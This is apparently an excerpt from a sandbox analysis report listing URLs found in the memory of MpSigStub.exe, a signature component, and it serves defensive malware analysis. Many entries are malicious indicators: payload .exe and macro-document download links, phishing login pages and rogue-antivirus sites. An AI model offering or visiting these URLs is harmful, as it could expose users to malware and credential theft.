        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://spywprotect.com/purchase
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://squash13.navy.ero0101.com/set_inf.php?id=ero257.wmv&cid=
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://srlvonf.info/youtube.xpi
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: http://srmvx.com.br/uploads/
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://srv166997.hoster-test.ru/decidedly/barrier/barbara/seem/phaytd.dot
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://srv87992.ht-test.ru/west/excelz/index.php
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://staging.stikbot.toys/24.gif
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://stankomeland.duckdns.org/js//share.php
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://starcorpinc.com?
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://start.abauit.com/logo.png?v7err
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://stasmaster.hut2.ru/rcv.php
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://stat.02933.com
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://stat.errclean
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: http://stat.openpart.ru/newtoolbar?p=qcash
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: http://stat.openpart.ru/newtoolbar?p=ziparchive
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://stat.t2t2.com/log/log1.asp?default&user=
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://stat.wamme.cn
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://stat.wamme.cn/C8C/gl/cnzz60.html
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://stat.wamme.cnxv
        Source: MpSigStub.exe, 00000023.00000003.18327831413.0000015B1A891000.00000004.00000001.sdmpString found in binary or memory: http://statapi.aldtop.com
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: http://static.hostsecureplugin.com/sdb/fd/host-secure-updater.xml
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://staticrr.mixvideoplayer.com/sdb/e0/WebBrowser.xml
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: http://statisonline.casa/register.jpg
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://statistics.tom.com/scripts/Skype/sobar.exe
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://statistics.tom.com/scripts/Skype/sobar.exehttp://61.135.159.183/installer/sobar.exehttp://sky
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://stats.hosting24.com/count.php
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: http://status.clrsch.com/loader/
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: http://status.qckads.com/
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: http://stiags.com.mx/zjeixcphncer/nbsa_
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://stive.hopto.org/pak.dot
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://strategosvideo4.com/1547.avi.exe
        Source: MpSigStub.exe, 00000023.00000003.18286537046.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://stroylux.ro/ds/1.gif
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://stroyprivoz.ru/dokumente-vom-notar/
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://student5.lab.classroom.kingdomit.org/wp-content/rechnungs-detail
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://studiojagoda.pl/invoice-receipt/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://stumptowncreative.com/important-please-read/
        Source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmpString found in binary or memory: http://sturfajtn.com
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: http://stwinwebservices.examsoft.com/
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: http://subca.crl.certum.pl/ctnca.crl0k
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: http://subca.ocsp-certum.com01
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://sucesores.com.mx/images/logo.gif
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: http://sun346.neta
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://sundsvallsrk.nu/tmp/lns.txt
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://sunrypero.cf/document5.doc
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://superdoor.ch/media/jui/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://superfast.com.sapo.pt/fotos.com
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://superkahn.ru:8080/index.php
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://superpuperdomain.com/count.php?ref=
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://supportwebcenter.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://sustainabletourismint.com/la)
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://svc-stats.linkury.com/
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://switercom.ru/ds/26.gif
        Source: MpSigStub.exe, 00000023.00000003.18343980449.0000015B1ACD2000.00000004.00000001.sdmpString found in binary or memory: http://sxload.com
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: http://sys-doctor.com
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://systemfile.online
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://systemjhockogyn.com.br/boa.php
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://t.amy
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://t.amynx.com/
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://t.awcna.com/mail.jsp?dde
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://t.awcna.com/mail.jsp?js
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://t.cn
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://t.cn/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://t.co/
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: http://t.go4321.com
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpString found in binary or memory: http://t.me/decovid19bot
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://t.tr2q.com
        Source: MpSigStub.exe, 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmpString found in binary or memory: http://t.zer9g.com/
        Source: MpSigStub.exe, 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmpString found in binary or memory: http://t.zz3r0.com/
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpString found in binary or memory: http://tablet.doyo.cn/pop_window/pw_318_215
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://taggsalimentos.com.br/pdf/login.htm
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://talele.50megs.com/Installer/safe.zip
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://talele.50megs.com/Installer/safe.zipx
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://talk-of-the-tyne.co.uk/download
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: http://taobao.ha
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: http://taobao.haodizhi.ccx
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://te.clickpotato.tv/pte.aspx
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://te.platrium.com/pte.aspx
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: http://team.afcorp.afg/chr/crt-ho_30/newjflibrary
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://techwach.com
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://tecmon.hr/
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://teladea.blogspot.com
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/
        Source: MpSigStub.exe, 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/IUserService/GetUsersResponse
        Source: MpSigStub.exe, 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/IUserService/GetUsersResponsex:
        Source: MpSigStub.exe, 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/IUserService/GetUsersT
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/OSoft.Services.Webservice.SystemConfigService/SystemConfigServicexk
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/QuanLyGaraOtoDataSet.xsd
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/SampleProductsDataSet.xsd
        Source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/T
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/db_restorentDataSet.xsd
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/payrollDataSet1.xsd
        Source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/x
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://tendancekart.com/
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://tenillar.com/ko/pos.phpmethod=post
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://tescohomegroseryandelectronicstday2store.duckdns.org/office/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://tfu.ae/readme.txt
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://thankyou.orderreceipts.square7.ch/applica.exe
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://thecoverstudio.com/modules/jmsslider/views/img/layers/app/updates.doc
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://theenterpriseholdings.com/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://thehairhive.ca/meg/retwesq.exe
        Source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmpString found in binary or memory: http://theonlybookmark.com/in.cgi?11&group=adv001URLGeneral1http://google.com/install.php?time=%dTim
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: http://thescanwinantivirxp.com/index.php?
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://thespecsupportservice.com/uno.dat
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://thevgjhknjkstore.com/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://thomastongrealestate.com/skywkc/3415201.pnga
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://thomastongrealestate.com/skywkc/dd(oaoabp%
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://thorsolberg.com?
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://tiasissi.com.br/revendedores/jquery/
        Source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmpString found in binary or memory: http://tibia.pl/earth.php?x=
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://tibiahack.czweb.org/adduser.php?num=
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://tiny.cc/Tiktok-Pro
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: http://tinyurl.com
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://tinyurl.com/
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://tinyurl.com/allinone-downloader
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://tinyurl.com/h7okabu)
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://tinyurl.com/hop4az9)
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://tinyurl.com/jfrwrhe)
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://tinyurl.com/jnvyzcl
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://tinyurl.com/jy69pnw)
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://tirb.fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: http://tissueling.com
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://titiaredh.com/redirect/
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: http://titulospdf.ddns.net
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://tixwagoq.cn/in.cgi?14
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://tj.kpzip.com
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://tjuegost.info/downloads.html
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: http://tkcode.xyzx
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://tldrnet.top/
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://today-friday.cn/maran/sejvan/get.php
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://toetallynailed.com?
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://toliku.com/qmzo.exe
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://tongji.bianya.cc/popup.ashx?type=0
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://tongji.bianya.cc/popup.ashx?type=0xM
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://tool.world2.cn/toolbar/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://toolbar.deepdo.com/download/
        Source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmpString found in binary or memory: http://toolbarpartner.com
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://topguide.co.kr/update/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://topiclab.com/wp-includes/css/index.php)
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://torscreen.org
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://track.wwwapps-ups.com/stats/xstats.php
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://tracker.civas.co/UserTracker_deploy/requesthandler.aspx
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://trackhits.cc/cnt
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://traderspusers.hol.es/
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://trail.filespm.com/dealdo/install-report
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://transfer.sh/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://traveling-blog2017.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18283369164.0000015B1BBD8000.00000004.00000001.sdmpString found in binary or memory: http://trex-miner.com
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://trialservice.genesystuna.com/io/excelz/index.php?email=
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://trik.ws/p.jpg
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://trik.ws/pc.exeg
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://try-anything-else.com/
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://tsdyprivatecloudshareandfileprotectsyta.ydns.eu/receipt/invoice_141140.doc
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://tsrv1.ws
        Source: MpSigStub.exe, 00000023.00000003.18342184671.0000015B1C358000.00000004.00000001.sdmpString found in binary or memory: http://tsrv4.ws/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://tu5amrmm.systotal.com/vnmsq40nj1q7a.php?30/receivetimeout30/connecttimeout/silent
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://tukangecuprus.com/cr_file_inst.exe
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://tulip45.sepia.adulteroero.com/set_inf.php?id=ero257.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://tumicy.com/plqijcndwoisdhsaow/
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://turbogalaxy.org/ru/?q
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://turtleone.zapto.org/out.rtf
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://twister.agropecuaria.ws/agro/twister.zip
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://twitck.com
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://twogreekgirls.com/wp-content/wellsfargo-online-update/com.htm)
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: http://u.to/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://u.to/PbrTEg
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://u.to/ardgdq)
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://u.to/sqivdw)
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://ubercancellationfeelawsuit.com/p.png
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://ucil-bd.com/swfobject/alape/index.php)
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: http://uidacrtsppxece.com/ioir.png
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://uiltime.info/?c=v3
        Source: MpSigStub.exe, 00000023.00000003.18340030081.0000015B1AB4D000.00000004.00000001.sdmpString found in binary or memory: http://ulink7.dudu.com/
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://ulog.cleaner2009pro.com/?action=
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://ultimatepropertiesllc.com/ike.exe
        Source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmpString found in binary or memory: http://uncpbisdegree.com/download3.php?q=
        Source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmpString found in binary or memory: http://uncpbisdegree.com/download4.php?q=
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://uniblue.com
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://uninstall.justplug.it
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://uninstall.justplug.it//?ext=824&pid=946
        Source: MpSigStub.exe, 00000023.00000003.18282239876.0000015B1C55A000.00000004.00000001.sdmpString found in binary or memory: http://uninstall.justplug.it/?pid=21&ext=bcool
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://uninstall.mysafesavings.com
        Source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmpString found in binary or memory: http://union.hao3603.com/api/down
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://unitedcrew.netd
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpString found in binary or memory: http://unstat.baidu.com
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://unstiff.pw
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://up.dev-point.com/uploads/
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://upd.lop.com/upd/check
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://upd.zone-media.com/upd/check
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: http://update.7h4uk.com:443/antivirus.php
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://update.cnnewmusic.com/get_gif.php?
